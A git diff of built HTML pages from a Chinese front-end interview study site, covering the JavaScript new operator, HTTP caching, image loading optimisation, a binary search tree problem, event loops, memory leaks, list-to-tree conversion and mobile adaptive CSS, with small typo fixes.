- + \ No newline at end of file diff --git a/book2/js-new.html b/book2/js-new.html index e97405d..73b1817 100644 --- a/book2/js-new.html +++ b/book2/js-new.html @@ -7,7 +7,7 @@ New 操作符的原理 | HZFE - 剑指前端 Offer - + @@ -15,7 +15,7 @@
Skip to main content

New 操作符的原理

相关问题#

  • new 操作符做了什么
  • new 操作符的模拟实现

回答关键点#

构造函数 对象实例

new 操作符通过执行自定义构造函数或内置对象构造函数,生成对应的对象实例。

知识点深入#

1. new 操作符做了什么#

  1. 在内存中创建一个新对象。
  2. 将新对象内部的 __proto__ 赋值为构造函数的 prototype 属性。
  3. 将构造函数内部的 this 被赋值为新对象(即 this 指向新对象)。
  4. 执行构造函数内部的代码(给新对象添加属性)。
  5. 如果构造函数返回非空对象,则返回该对象。否则返回 this。

2. new 操作符的模拟实现#

function fakeNew() {  // 创建新对象  var obj = Object.create(null);  var Constructor = [].shift.call(arguments);  // 将对象的 __proto__ 赋值为构造函数的 prototype 属性  obj.__proto__ = Constructor.prototype;  // 将构造函数内部的 this 赋值为新对象  var ret = Constructor.apply(obj, arguments);  // 返回新对象  return typeof ret === "object" && ret !== null ? ret : obj;}
 function Group(name, member) {  this.name = name;  this.member = member;}
 var group = fakeNew(Group, "hzfe", 17);

参考资料#

  1. new 操作符 - MDN
  2. The new Operator
Loading script...
- + \ No newline at end of file diff --git a/book2/network-http-cache.html b/book2/network-http-cache.html index 65f4144..d25cdcd 100644 --- a/book2/network-http-cache.html +++ b/book2/network-http-cache.html @@ -7,13 +7,13 @@ HTTP 缓存机制 | HZFE - 剑指前端 Offer - +
-

HTTP 缓存机制

相关问题#

  • 了解浏览器的缓存机制吗
  • 谈谈 HTTP 缓存
  • 为什么要有缓存
  • 缓存的优点是什么

回答关键点#

强缓存 协商缓存

HTTP 缓存主要分为强缓存协商缓存

强缓存可以通过 Expires / Cache-Control 控制,命中强缓存时不会发起网络请求,资源直接从本地获取,浏览器显示状态码 200 from cache。

协商缓存可以通过 Last-Modified / If-Modified-Since 和 Etag / If-None-Match 控制,开启协商缓存时向服务器发送的请求会带上缓存标识,若命中协商缓存服务器返回 304 Not Modified 表示浏览器可以使用本地缓存文件,否则返回 200 OK 正常返回数据。

知识点深入#

1. 流程图#

image

2.强缓存#

2.1 Expires#

  • HTTP/1.0 产物。
  • 优先级低于 Cache-control: max-age。
  • 缺点:使用本地时间判断是否过期,而本地时间是可修改的且并非一定准确的。

Expires 是由服务端返回的资源过期时间(GTM 日期格式/时间戳),若用户本地时间在过期时间前,则不发送请求直接从本地获取资源。

2.2 Cache-Control#

  • HTTP/1.1 产物。
  • 优先级高于 Expires。
  • 正确区分 no-cache / no-store 的作用。

Cache-Control 是用于页面缓存的通用消息头字段,可以通过指定指令来实现缓存机制。

常用的字段有:

  • max-age 设置缓存存储的最大时长,单位秒。
  • s-max-age 与 max-age 用法一致,不过仅适用于代理服务器。
  • public 表示响应可被任何对象缓存。
  • private 表示响应只可被私有用户缓存,不能被代理服务器缓存。
  • no-cache 强制客户端向服务器发起请求(禁用强缓存,可用协商缓存)。
  • no-store 禁止一切缓存,包含协商缓存也不可用。
  • must-revalidate 一旦资源过期,在成功向原始服务器验证之前,缓存不能用该资源响应后续请求。
  • immutable 表示响应正文不会随时间改变(只要资源不过期就不发送请求)。

值得注意的是,虽然以上常用字段都是响应头的字段,但是 Cache-Control 同时也支持请求头,例如 Cache-Control: max-stale=<seconds> 表明客户端愿意接收一个已经过期但不能超出<seconds>秒的资源。

2.3 拓展知识(冷门考点)#

  • HTTP/1.0 Pragma
    • 在 HTTP/1.0 时期用于禁用浏览器缓存 Pragma: no-cache。
  • 缓存位置
    • 从 Service Worker 中读取缓存(只支持 HTTPS)。
    • 从内存读取缓存时 network 显示 memory cache。
    • 从硬盘读取缓存时 network 显示 disk cache。
    • Push Cache(推送缓存)(HTTP/2.0)。
    • 优先级 Service Worker > memory cache > disk cache > Push Cache。
  • 最佳实践:资源尽可能命中强缓存,且在资源文件更新时保证用户使用到最新的资源文件
    • 强缓存只会命中相同命名的资源文件。
    • 在资源文件上加 hash 标识(webpack 可在打包时在文件名上带上)。
    • 通过更新资源文件名来强制更新命中强缓存的资源。

3. 协商缓存#

3.1 ETag / If-None-Match#

  • 通过唯一标识来验证缓存。
  • 优先级高于 Last-Modified / If-Modified-Since。

如果资源请求的响应头里含有 ETag,客户端可以在后续的请求的头中带上 If-None-Match 头来验证缓存。若服务器判断资源标识一致,则返回 304 状态码告知浏览器可从本地读取缓存。

唯一标识内容是由服务端生成算法决定的,可以是资源内容生成的哈希值,也可以是最后修改时间戳的哈希值。所以 Etag 标识改变并不代表资源文件改变,反之亦然。

3.2 Last-Modified / If-Modified-Since#

  • 通过资源的最后修改时间来验证缓存。
  • 优先级低于 ETag / If-None-Match。
  • 缺点:只能精确到秒,若 1s 内多次修改资源 Last-Modified 不会变化。

如果资源请求的响应头里含有 Last-Modified,客户端可以在后续的请求的头中带上 If-Modified-Since 头来验证缓存。若服务器判断资源最后修改时间一致,则返回 304 状态码告知浏览器可从本地读取缓存。

3.3 拓展知识(冷门考点)#

  • ETag 在标识前面加 W/ 前缀表示用弱比较算法(If-None-Match 本身就只用弱比较算法)。
  • ETag 还可以配合 If-Match 检测当前请求是否为最新版本,若资源不匹配返回状态码 412 错误。(If-Match 不加 W/ 时使用强比较算法)。

4. 缓存的优缺点#

优点

  • 节省了不必要的数据传输,节省带宽。
  • 减少服务端的负担,提高网站性能。
  • 降低网络延迟,加快页面响应速度,增强用户体验。

缺点

  • 不恰当的缓存设置可能会导致资源更新不及时,导致用户获取信息滞后。

参考资料#

  1. HTTP Caching
Loading script...
- +
Skip to main content

HTTP 缓存机制

相关问题#

  • 了解浏览器的缓存机制吗
  • 谈谈 HTTP 缓存
  • 为什么要有缓存
  • 缓存的优点是什么

回答关键点#

强缓存 协商缓存

HTTP 缓存主要分为强缓存协商缓存

强缓存可以通过 Expires / Cache-Control 控制,命中强缓存时不会发起网络请求,资源直接从本地获取,浏览器显示状态码 200 from cache。

协商缓存可以通过 Last-Modified / If-Modified-Since 和 Etag / If-None-Match 控制,开启协商缓存时向服务器发送的请求会带上缓存标识,若命中协商缓存服务器返回 304 Not Modified 表示浏览器可以使用本地缓存文件,否则返回 200 OK 正常返回数据。

知识点深入#

1. 流程图#

image

2.强缓存#

2.1 Expires#

  • HTTP/1.0 产物。
  • 优先级低于 Cache-control: max-age。
  • 缺点:使用本地时间判断是否过期,而本地时间是可修改的且并非一定准确的。

Expires 是由服务端返回的资源过期时间(GMT 日期格式/时间戳),若用户本地时间在过期时间前,则不发送请求直接从本地获取资源。

2.2 Cache-Control#

  • HTTP/1.1 产物。
  • 优先级高于 Expires。
  • 正确区分 no-cache / no-store 的作用。

Cache-Control 是用于页面缓存的通用消息头字段,可以通过指定指令来实现缓存机制。

常用的字段有:

  • max-age 设置缓存存储的最大时长,单位秒。
  • s-max-age 与 max-age 用法一致,不过仅适用于代理服务器。
  • public 表示响应可被任何对象缓存。
  • private 表示响应只可被私有用户缓存,不能被代理服务器缓存。
  • no-cache 强制客户端向服务器发起请求(禁用强缓存,可用协商缓存)。
  • no-store 禁止一切缓存,包含协商缓存也不可用。
  • must-revalidate 一旦资源过期,在成功向原始服务器验证之前,缓存不能用该资源响应后续请求。
  • immutable 表示响应正文不会随时间改变(只要资源不过期就不发送请求)。

值得注意的是,虽然以上常用字段都是响应头的字段,但是 Cache-Control 同时也支持请求头,例如 Cache-Control: max-stale=<seconds> 表明客户端愿意接收一个已经过期但不能超出<seconds>秒的资源。

2.3 拓展知识(冷门考点)#

  • HTTP/1.0 Pragma
    • 在 HTTP/1.0 时期用于禁用浏览器缓存 Pragma: no-cache。
  • 缓存位置
    • 从 Service Worker 中读取缓存(只支持 HTTPS)。
    • 从内存读取缓存时 network 显示 memory cache。
    • 从硬盘读取缓存时 network 显示 disk cache。
    • Push Cache(推送缓存)(HTTP/2.0)。
    • 优先级 Service Worker > memory cache > disk cache > Push Cache。
  • 最佳实践:资源尽可能命中强缓存,且在资源文件更新时保证用户使用到最新的资源文件
    • 强缓存只会命中相同命名的资源文件。
    • 在资源文件上加 hash 标识(webpack 可在打包时在文件名上带上)。
    • 通过更新资源文件名来强制更新命中强缓存的资源。

3. 协商缓存#

3.1 ETag / If-None-Match#

  • 通过唯一标识来验证缓存。
  • 优先级高于 Last-Modified / If-Modified-Since。

如果资源请求的响应头里含有 ETag,客户端可以在后续的请求的头中带上 If-None-Match 头来验证缓存。若服务器判断资源标识一致,则返回 304 状态码告知浏览器可从本地读取缓存。

唯一标识内容是由服务端生成算法决定的,可以是资源内容生成的哈希值,也可以是最后修改时间戳的哈希值。所以 Etag 标识改变并不代表资源文件改变,反之亦然。

3.2 Last-Modified / If-Modified-Since#

  • 通过资源的最后修改时间来验证缓存。
  • 优先级低于 ETag / If-None-Match。
  • 缺点:只能精确到秒,若 1s 内多次修改资源 Last-Modified 不会变化。

如果资源请求的响应头里含有 Last-Modified,客户端可以在后续的请求的头中带上 If-Modified-Since 头来验证缓存。若服务器判断资源最后修改时间一致,则返回 304 状态码告知浏览器可从本地读取缓存。

3.3 拓展知识(冷门考点)#

  • ETag 在标识前面加 W/ 前缀表示用弱比较算法(If-None-Match 本身就只用弱比较算法)。
  • ETag 还可以配合 If-Match 检测当前请求是否为最新版本,若资源不匹配返回状态码 412 错误(If-Match 不加 W/ 时使用强比较算法)。

4. 缓存的优缺点#

优点

  • 节省了不必要的数据传输,节省带宽。
  • 减少服务端的负担,提高网站性能。
  • 降低网络延迟,加快页面响应速度,增强用户体验。

缺点

  • 不恰当的缓存设置可能会导致资源更新不及时,导致用户获取信息滞后。

参考资料#

  1. HTTP Caching
Loading script...
+ \ No newline at end of file diff --git a/book2/topic-multi-pics-site-optimize.html b/book2/topic-multi-pics-site-optimize.html index bc7b968..43f3491 100644 --- a/book2/topic-multi-pics-site-optimize.html +++ b/book2/topic-multi-pics-site-optimize.html @@ -7,7 +7,7 @@ 多图站点性能优化 | HZFE - 剑指前端 Offer - + @@ -16,7 +16,7 @@ const observer = new IntersectionObserver(function (entries, self) { entries.forEach(({ isIntersecting, target }) => { if (isIntersecting) { if (target.dataset.src) { target.src = target.dataset.src; target.removeAttribute("data-src"); } self.unobserve(target); } });}, config); const images = document.querySelectorAll("[data-src]");images.forEach((image) => { observer.observe(image);});

scroll

如果 Intersection Observer 存在兼容性问题,除了可以添加对应 polyfill 之外,也可以考虑降级为监听 scroll、resize、orientationchange 事件的方案。实现思路和 Intersection Observer 一致。具体细节上,需要自行计算图片节点与目标视口的纵向或横向距离,且需使用节流函数来避免性能问题。

3.2 图片预加载#

图片预加载机制是为了增强用户体验,尽快地加载出图片,使得用户体验更为流畅。

如果预加载的图片是确切且有限的,可以通过硬编码 link 标签来实现预加载。但是多数情况下,预加载的使用场景是动态的。

link

<link rel="preload"> 允许开发者在 HTML 的 head 标签中声明资源请求,指定页面需要预加载的资源,并且在浏览器的主要渲染机制启动之前加载,避免阻塞页面渲染且保证资源尽早可用。

<link rel="preload" as="image" href="important.png" />

动态场景

一般常见方案是动态创建 Image 标签或者是 Ajax 请求。使用 Ajax 时需要注意可能存在跨域问题。

// 动态创建 Imagefunction preloadImage(url) {  var img = new Image();  img.src = url;}

3.3 响应式图片加载#

由于用户终端设备不同,如果图片资源无差别使用相同图片,可能造成带宽浪费或者是图片不清晰以及视觉体验差的问题。

一般可以通过使用 picture 标签来定义零或多个 source 节点和一个 img 节点,用于提供图片在不同设备/显示场景下对应的内容展示。picture 的常见作用包括:

  • 艺术指导(Art direction)

    为不同的媒体条件裁剪或修改图像。比如在较小的显示器上,加载一个更突出重点的图像。

    38666B5C621028DD6F3050D95EF1889E

    <picture>  <source srcset="hzfe-avatar-desktop.png" media="(min-width: 990px)" />  <source srcset="hzfe-avatar-tablet.png" media="(min-width: 750px)" />  <img src="hzfe-avatar.png" alt="hzfe-default-avatar" /></picture>
  • 提供图片格式回退方案

    在支持的浏览器中优先使用更适合的图片格式,比如 WebP 等。同时支持在有兼容性问题的浏览器中回退加载其他格式的图片。

    <picture>  <source srcset="hzfe-avatar.webp" type="image/webp" />  <source srcset="hzfe-avatar.jpg" type="image/jpeg" />  <img src="hzfe-avatar.jpg" alt="hzfe-default-avatar" /></picture>
  • 节省带宽并提升页面加载速度

    通过按需加载并显示最适合用户设备的图像,从而节省带宽和加快页面加载时间。

    <picture>  <source    srcset="hzfe-avatar-desktop.png, hzfe-avatar-desktop-2x.png 2x"    media="(min-width: 990px)"  />  <source    srcset="hzfe-avatar-tablet.png, hzfe-avatar-tablet-2x.png 2x"    media="(min-width: 750px)"  />  <img    srcset="hzfe-avatar.png, hzfe-avatar-2x.png 2x"    src="hzfe-avatar.png"    alt="hzfe-default-avatar"  /></picture>

参考资料#

  1. image types
  2. Fast load times
  3. Usage statistics of WebP for websites
  4. Browser-level image lazy-loading for the web
Loading script...
- + \ No newline at end of file diff --git a/book3/algorithm-binary-tree-k.html b/book3/algorithm-binary-tree-k.html index 2af7ae1..6f56002 100644 --- a/book3/algorithm-binary-tree-k.html +++ b/book3/algorithm-binary-tree-k.html @@ -7,13 +7,13 @@ 二叉搜索树的第 k 大的节点 | HZFE - 剑指前端 Offer - +

二叉搜索树的第 k 大的节点

题目描述#

给定一棵二叉搜索树,请找出其中第 k 大的节点。

示例 1:

输入: root = [3,1,4,null,2], k = 1   3  / \ 1   4  \   2输出: 4

示例 2:

输入: root = [5,3,6,2,4,null,null,1], k = 3       5      / \     3   6    / \   2   4  / 1输出: 4

解题基本知识#

二叉搜索树(Binary Search Tree)又名二叉查找树、二叉排序树。它是一棵空树,或者是具有下列性质的二叉树: 若它的左子树不空,则左子树上所有结点的值均小于它的根结点的值; 若它的右子树不空,则右子树上所有结点的值均大于它的根结点的值; 它的左、右子树也分别为二叉排序树。

解法一: 递归#

在线链接

利用二叉搜索树的特性进行中序遍历。先遍历左节点,然后根节点,最后遍历右节点,得到的是一个递增序列,那么序列的倒序为递减序列。因此这道题我们可以转变为求二叉搜索树中序遍历倒序的第 k 个数。

解法图示

/** * Definition for a binary tree node. * function TreeNode(val) { *     this.val = val; *     this.left = this.right = null; * } *//** * @param {TreeNode} root * @param {number} k * @return {number} */const kthLargest = (root, k) => {  let res = null; // 初始化返回值  // 因为需要倒序第 k 个,所以处理是右节点,根节点,然后左节点  const dfs = (root) => {    if (!root) return; // 如果当前节点为 null,本轮处理结束    dfs(root.right); // 开始处理右节点    if (k === 0) return; // k 值 为 0,代表已经处理的节点超过目标节点,本轮处理结束    if (--k === 0) {      // 当 k 值 减 1 为 0,表示已经到了我们想要的 k 大 节点,保存当前值      res = root.val;    }    dfs(root.left); // 处理左节点  };  dfs(root); // 从初始化节点开始处理  return res;};

复杂度分析:#

  • 时间复杂度 O(N):无论 k 的值大小,递归深度都为 N,占用 O(N) 时间。
  • 空间复杂度 O(N):无论 k 的值大小,递归深度都为 N,占用 O(N) 空间。

解法二: 迭代#

在线链接

思路还是二叉树的中序遍历,利用栈的方式进行遍历。

解法图示

/** * Definition for a binary tree node. * function TreeNode(val) { *     this.val = val; *     this.left = this.right = null; * } *//** * @param {TreeNode} root * @param {number} k * @return {number} */var kthLargest = function (root, k) {  if (!root) return 0;  // 声明储存栈  const stack = [];  // 判断当前栈否有节点和当前遍历节点位置  while (stack.length || root) {    while (root) {      // 往栈里添加当前节点,同时切换为右节点处理      stack.push(root);      root = root.right;    }    // 取出当前栈顶元素,根据添加的顺序,当前元素是栈内最大的    const cur = stack.pop();    k--;    if (k === 0) return cur.val;    // 切换为左节点处理    root = cur.left;  }  return 0;};
  • 时间复杂度 O(N):需要遍历整棵树一次,复杂度为 O(N)
  • 空间复杂度 O(N):需要额外空间栈进行储存树,复杂度为 O(N)

参考资料#

  1. 剑指 offer
Loading script...
- + \ No newline at end of file diff --git a/book3/browser-event-loop.html b/book3/browser-event-loop.html index 3c13006..85f12af 100644 --- a/book3/browser-event-loop.html +++ b/book3/browser-event-loop.html @@ -7,14 +7,14 @@ 浏览器事件循环 | HZFE - 剑指前端 Offer - +

浏览器事件循环

相关问题#

  • 什么是浏览器事件循环
  • 浏览器为什么需要事件循环
  • Node.js 中的事件循环

回答关键点#

任务队列 异步 非阻塞

浏览器需要事件循环来协调事件、用户操作、脚本执行、渲染、网络请求等。通过事件循环,浏览器可以利用任务队列来管理任务,让异步事件非阻塞地执行。每个客户端对应的事件循环是相对独立的。

知识点深入#

1. 什么是浏览器事件循环#

在计算机中,Event Loop 是一个程序结构,用于等待和发送消息和事件。 —— 维基百科

Event Loop 可以理解为一个消息分发器,通过接收和分发不同类型的消息,让执行程序的事件调度更加合理。

浏览器事件循环是以浏览器为宿主环境实现的事件调度,操作顺序如下:

  1. 执行同步代码。
  2. 执行一个宏任务(执行栈中没有就从任务队列中获取)。
  3. 执行过程中如果遇到微任务,就将它添加到微任务的任务队列中。
  4. 宏任务执行完毕后,立即执行当前微任务队列中的所有微任务(依次执行)。
  5. 当前宏任务执行完毕,开始检查渲染,然后渲染线程接管进行渲染。
  6. 渲染完毕后,JavaScript 线程继续接管,开始下一个循环。

下图展示了这个过程:

browser event loop

图片来源 JS CONF EU 2014

2. 浏览器为什么需要事件循环#

由于 JavaScript 是单线程的,且 JavaScript 主线程和渲染线程互斥,如果异步操作(如上图提到的 WebAPIs)阻塞 JavaScript 的执行,会造成浏览器假死。而事件循环为浏览器引入了任务队列(task queue),使得异步任务可以非阻塞地进行。

浏览器事件循环在处理异步任务时不会一直等待其返回结果,而是将这个事件挂起,继续执行栈中的其他任务。当异步事件返回结果,将它放到任务队列中,被放入任务队列不会立刻执行回调,而是等待当前执行栈中所有任务都执行完毕,主线程处于空闲状态,主线程会去查找任务队列中是否有任务,如果有,取出排在第一位的事件,并把这个事件对应的回调放到执行栈中,执行其中的同步代码。

3. 宏任务与微任务#

异步任务被分为两类:宏任务(macrotask)与微任务(microtask),两者的执行优先级也有所区别。

宏任务主要包含:script(整体代码)、setTimeout、setInterval、setImmediate、I/O、UI 交互事件。

微任务主要包含:Promise、MutationObserver 等。

在当前执行栈为空的时候,主线程会查看微任务队列是否有事件存在。如果不存在,那么再去宏任务队列中取出一个事件并把对应的回调加入当前执行栈;如果存在,则会依次执行队列中事件对应的回调,直到微任务队列为空,然后去宏任务队列中取出最前面的一个事件,把对应的回调加入当前执行栈。如此反复,进入循环。下面通过一个具体的例子来进行分析:

Promise.resolve().then(() => {  // 微任务1  console.log("Promise1");  setTimeout(() => {    // 宏任务2    console.log("setTimeout2");  }, 0);});setTimeout(() => {  // 宏任务1  console.log("setTimeout1");  Promise.resolve().then(() => {    // 微任务2    console.log("Promise2");  });}, 0);

最后输出顺序为:Promise1 => setTimeout1 => Promise2 => setTimeout2。具体流程如下:

  1. 同步任务执行完毕。微任务 1 进入微任务队列,宏任务 1 进入宏任务队列。
  2. 查看微任务队列,微任务 1 执行,打印 Promise1,生成宏任务 2,进入宏任务队列。
  3. 查看宏任务队列,宏任务 1 执行,打印 setTimeout1,生成微任务 2,进入微任务队列。
  4. 查看微任务队列,微任务 2 执行,打印 Promise2。
  5. 查看宏任务队列,宏任务 2 执行,打印 setTimeout2。

4. Node.js 中的事件循环#

在 Node.js 中,事件循环表现出的状态与浏览器中大致相同。不同的是 Node.js 中有一套自己的模型。 Node.js 中事件循环的实现是依靠的 libuv 引擎。下图简要介绍了事件循环操作顺序:

node event loop

图片来源 Node.js 官网

  1. timers:本阶段执行已经被 setTimeout() 和 setInterval() 的调度回调函数。
  2. pending callbacks:执行延迟到下一个循环迭代的 I/O 回调。
  3. idle、prepare:仅系统内部使用。
  4. poll:检索新的 I/O 事件;执行与 I/O 相关的回调(几乎所有情况下,除了关闭的回调函数,那些由计时器和 setImmediate() 调度的之外),其余情况 node 将在适当的时候在此阻塞。
  5. check:setImmediate() 回调函数在这里执行。
  6. close callbacks:一些关闭的回调函数,如:socket.on('close', ...)。

在每次运行的事件循环之间,Node.js 检查它是否在等待任何异步 I/O 或计时器,如果没有的话,则完全关闭。

需要注意的是,宏任务与微任务的执行顺序在 Node.js 的不同版本中表现也有所不同。同样通过一个具体的例子来分析:

setTimeout(() => {  console.log("timer1");  Promise.resolve().then(function () {    console.log("promise1");  });}, 0);
 setTimeout(() => {  console.log("timer2");  Promise.resolve().then(function () {    console.log("promise2");  });}, 0);
  1. 在 Node.js v11 及以上版本中一旦执行一个阶段里的一个宏任务(setTimeout,setInterval 和 setImmediate),会立刻执行微任务队列,所以输出顺序为timer1 => promise1 => timer2 => promise2
  2. 在 Node.js v10 及以下版本,要看第一个定时器执行完成时,第二个定时器是否在完成队列中。
    • 如果第二个定时器还未在完成队列中,输出顺序为timer1 => promise1 => timer2 => promise2
    • 如果是第二个定时器已经在完成队列中,输出顺序为timer1 => timer2 => promise1 => promise2

参考资料#

  1. whatwg event loops
  2. wikipedia event loops
  3. Node.js event loops
Loading script...
- + \ No newline at end of file diff --git a/book3/browser-memory-leaks.html b/book3/browser-memory-leaks.html index f627ee0..d5d5943 100644 --- a/book3/browser-memory-leaks.html +++ b/book3/browser-memory-leaks.html @@ -7,7 +7,7 @@ 如何定位内存泄露 | HZFE - 剑指前端 Offer - + @@ -17,7 +17,7 @@ capture(); /* 可能有内存泄漏的代码片段 start */// code/* 可能有内存泄漏的代码片段 end */ capture();

参考资料#

  1. Chrome DevTools
  2. Fix memory problems
Loading script...
- + \ No newline at end of file diff --git a/book3/coding-arr-to-tree.html b/book3/coding-arr-to-tree.html index 437f9d9..748e2d9 100644 --- a/book3/coding-arr-to-tree.html +++ b/book3/coding-arr-to-tree.html @@ -7,7 +7,7 @@ 将列表还原为树状结构 | HZFE - 剑指前端 Offer - + @@ -27,7 +27,7 @@ // 如果当前 id 的 children 已存在,则加入 children 字段中,否则,初始化 children // item 与 record[id] 引用同一份 children,后续迭代中更新 record[parendId] 就会反映到 item 中 newItem[childName] = record[id] ? record[id] : (record[id] = []); if (parentId === rootId) { root.push(newItem); } else { if (!record[parentId]) { record[parentId] = []; } record[parentId].push(newItem); } }); return root;}

时间复杂度分析:经历了一轮迭代,假设有 n 个元素,那么时间复杂度为 O(n)。

代码演示及总结#

Code Sandbox - List to Tree

  • 递归法:在数据量增大的时候,性能会急剧下降。好处是可以在构建树的过程中,给节点添加层级信息。
  • 迭代法:速度快。但如果想要不影响源数据,需要在 record 中存储一份复制的数据,且无法在构建的过程中得知节点的层级信息,需要构建完后再次深度优先遍历获取。
  • 迭代法变体一:按需创建 children,可以避免空的 children 列表。
Loading script...
- + \ No newline at end of file diff --git a/book3/css-mobile-adaptive.html b/book3/css-mobile-adaptive.html index 96021eb..375fa98 100644 --- a/book3/css-mobile-adaptive.html +++ b/book3/css-mobile-adaptive.html @@ -7,14 +7,14 @@ 移动端自适应的常见手段 | HZFE - 剑指前端 Offer - +

移动端自适应的常见手段

相关问题#

  • 介绍 meta 的 viewport 值
  • rem 和 vw 的值是根据什么计算的
  • 1px 显示问题
  • 如何适配刘海屏

回答关键点#

viewport 相对单位 媒体查询 响应式图片

移动端开发的主要痛点是如何让页面适配各种不同的终端设备,使不同的终端设备都拥有基本一致的视觉效果和交互体验。移动端常见的适配方案有以下几种,一般都是互相搭配使用。包括:

  • 视口元信息配置
  • 响应式布局
  • 相对单位
  • 媒体查询
  • 响应式图片
  • 安全区域适配

知识点深入#

1. 相关概念#

1.1 像素#

image

分辨率(Resolution)

分辨率是指位图图像中细节的精细程度,以每英寸像素(ppi)衡量。每英寸的像素越多,分辨率就越高。

物理像素(Physical pixels)

物理像素是一个设备的实际像素数。

逻辑像素(Logical pixels)

是一种抽象概念。在不同的设备下,一个逻辑像素代表的物理像素数不同。CSS 像素是逻辑像素。

为了在不同尺寸和密度比的设备上表现出一致的视觉效果,使用逻辑像素描述一个相同尺寸的物理单位。在具有高密度比的屏幕下,一个逻辑像素对应多个物理像素。

设备像素比(Device Pixel Ratio)

当前显示设备的物理像素分辨率与 CSS 像素分辨率之比。

相关问题:图片或 1px 边框显示模糊

在移动端中,常见图片或者 1px 的边框在一些机型下显示模糊/变粗的问题。基于对像素相关的概念理解,可知 CSS 中的 1px 是指一个单位的逻辑像素。一个单位的逻辑像素映射到不同像素密度比的设备下,实际对应的物理像素不同。

因此,同样尺寸的图片在高密度比的设备下,由于一个位图像素需要应用到多个物理像素上,所以会比低密度比设备中的视觉效果模糊。

1.2 视口#

image

视口(viewport)

视口一般是指用户访问页面时,当前的可视区域范围。通过滚动条滑动,视口可以显示页面的其他部分。在 PC 端上,<html> 元素的宽度被设置为 100% 时,等同于视口大小,等同于浏览器的窗口大小。通过 document.documentElement.clientWidthwindow.innerWidth 可以获取视口宽度。CSS 布局基于视口大小进行计算。

由于移动设备尺寸较小,如果基于浏览器窗口大小的视口进行布局,会导致一些没有适配过移动设备样式的站点布局错乱,用户体验差。为了让移动端也能正常显示未适配移动设备的页面,从而引入布局视口和视觉视口的概念。

布局视口(layout viewport)

布局视口的宽度默认为 980px,通常比物理屏幕宽。CSS 布局会基于布局视口进行计算。移动设备的浏览器基于虚拟的布局视口去渲染网页,并将对应的渲染结果缩小以便适应设备实际宽度,从而可以完整的展示站点内容且不破坏布局结构。

视觉视口(visual viewport)

视觉视口是布局视口的当前可见部分。用户可以通过缩放来查看页面内容,从而改变视觉视口,但不影响布局视口。

2. 使用 viewport 元标签配置视口#

开发者可以通过 <meta name="viewport"> 对移动端的布局视口进行设置。如果不进行 viewport 元标签的设置,可能会导致开发者设定的较小宽度的媒体查询永远不会被使用,因为默认的布局视口宽度为 980px。

<!-- width 属性控制视口的大小。device-width 值指代设备屏幕宽度。 --><!-- initial-scale 属性控制页面首次加载时的缩放级别。--><meta name="viewport" content="width=device-width, initial-scale=1.0" />

3. 使用现代响应式布局方案#

除了使用浮动布局和百分比布局外,目前比较常见的是使用 Flexbox 或 CSS Grid 来实现灵活的网格布局。可以根据以下条件来选择布局方案:

  1. 需要一维还是二维布局:Flexbox 基于一条主轴方向进行布局。CSS Grid 可划分为行和列进行布局。如果只需要按照行或列进行布局则使用 Flexbox;如果需要同时按照行和列控制布局则使用 CSS Grid。

  2. 专注布局结构还是内容流:Flexbox 专注于内容流。Flex Item 的宽度或高度由项目中的内容决定。Flex Item 根据其内部内容和可用空间进行增长和缩小。CSS Grid 专注于精确的内容布局结构规则。每个 Grid Item 都是一个网格单元,沿水平轴和垂直轴排列。如果允许内容灵活的分配空间则使用 Flexbox;如果需要准确控制布局中项目的位置则使用 CSS Grid。

image

4. 使用媒体查询(Media Queries)#

媒体查询允许开发者根据设备类型和特征(如屏幕分辨率或浏览器视口宽度)来按需设置样式。

/* 当浏览器宽度至少在 600px 及以上时 */@media screen and (min-width: 600px) {  .hzfe {    /* 对 .hzfe 应用某些样式  */  }}
 /* 当设备 DPR 为2时的样式 */@media screen and (-webkit-min-device-pixel-ratio: 2) {  .border-1 {    border-width: 0.5px;  }}

5. 使用相对单位#

移动端开发需要面对十分繁杂的终端设备尺寸。除了使用响应式布局、媒体查询等方案之外,在对元素进行布局时,一般会使用相对单位来获得更多的灵活性。

rem

根据 W3C 规范可知,1rem 等同于根元素 html 的 font-size 大小。

由于早期 vw、vh 兼容性不佳,一个使用广泛的移动端适配方案 flexible 是借助 rem 来模拟 vw 特性实现移动端适配。在设计与开发时,通常会约定某一种尺寸为开发基准。开发者可以利用工具(如 px2rem)进行绝对单位 px 和其他 rem 单位的自动换算,然后利用 flexible 脚本动态设置 html 的字体大小和<meta name="viewport">

vw/vh

由于目前 vw、vh 相关单位获得了更多浏览器的支持,可以直接使用 vw、vh 单位进行移动端开发。

同理于 flexible 方案,使用 vw、vh 也需要对设计稿中的尺寸进行换算,将 px 转换为 vw 值,常见的工具如 postcss-px-to-viewport 等可以满足需求。

image

6. 使用响应式图片#

展示图片时,可以在 picture 元素中定义零或多个 source 元素和一个 img 元素,以便为不同的显示/设备场景提供图像的替代版本。从而使得图片内容能够灵活响应不同的设备,避免出现图片模糊或视觉效果差以及使用过大图片浪费带宽的问题。

source 元素可以按需配置 srcset、media、sizes 等属性,以便用户代理为不同媒体查询范围或像素密度比的设备配置对应的图片资源。如果没有找到匹配的图像或浏览器不支持 picture 元素,则使用 img 元素作为回退方案。

<picture>  <source    srcset="hzfe-avatar-desktop.png, hzfe-avatar-desktop-2x.png 2x"    media="(min-width: 990px)"  />  <source    srcset="hzfe-avatar-tablet.png, hzfe-avatar-tablet-2x.png 2x"    media="(min-width: 750px)"  />  <source    srcset="hzfe-avatar-mobile.png, hzfe-avatar-mobile-2x.png 2x"    media="(min-width: 375px)"  />  <img    srcset="hzfe-avatar.png, hzfe-avatar-2x.png 2x"    src="hzfe-avatar.png"    alt="hzfe-default-avatar"  /></picture>

7. 适配安全区域#

由于手机厂商各有特色,目前手机上常见有圆角(corners)、刘海(sensor housing)和小黑条(Home Indicator)等特征。为保证页面的显示效果不被这些特征遮盖,需要把页面限制在安全区域范围内。

<meta name="viewport" content="initial-scale=1, viewport-fit=cover" />

设置 viewport-fit=cover 后,按需借助以下预设的环境变量,对元素应用 padding,从而确保它们不会被一些以上特征遮盖:

  • safe-area-inset-left
  • safe-area-inset-right
  • safe-area-inset-top
  • safe-area-inset-bottom
/* 例子:兼容刘海屏 */body {  /* constant 函数兼容 iOS 11.2 以下*/  padding-top: constant(safe-area-inset-top);  /* env 函数兼容 iOS 11.2 */  padding-top: env(safe-area-inset-top);}

参考资料#

  1. iOSRes
  2. Viewport concepts
  3. A tale of two viewports
  4. Responsive Design
  5. Relationship of grid layout to other layout methods
  6. Designing Websites for iPhone X
Loading script...
